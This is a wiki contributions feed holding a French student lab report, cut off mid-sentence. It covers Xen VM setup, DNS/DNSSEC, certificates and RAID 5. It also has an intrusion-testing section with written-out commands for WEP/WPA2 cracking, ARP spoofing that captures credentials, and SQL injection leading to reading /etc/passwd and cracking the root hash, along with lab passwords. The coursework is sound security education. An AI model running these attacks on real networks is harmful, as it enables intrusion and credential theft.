<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Psanchez</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Psanchez"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Psanchez"/>
		<updated>2026-05-12T21:02:30Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Mail.png&amp;diff=55684</id>
		<title>Fichier:Mail.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Mail.png&amp;diff=55684"/>
				<updated>2021-01-23T18:32:44Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Users.png&amp;diff=55677</id>
		<title>Fichier:Users.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Users.png&amp;diff=55677"/>
				<updated>2021-01-23T18:25:52Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55275</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55275"/>
				<updated>2020-12-28T13:48:23Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Architecture de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé. (Merci Paul pour ta carte graphique à 4 chiffres)&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
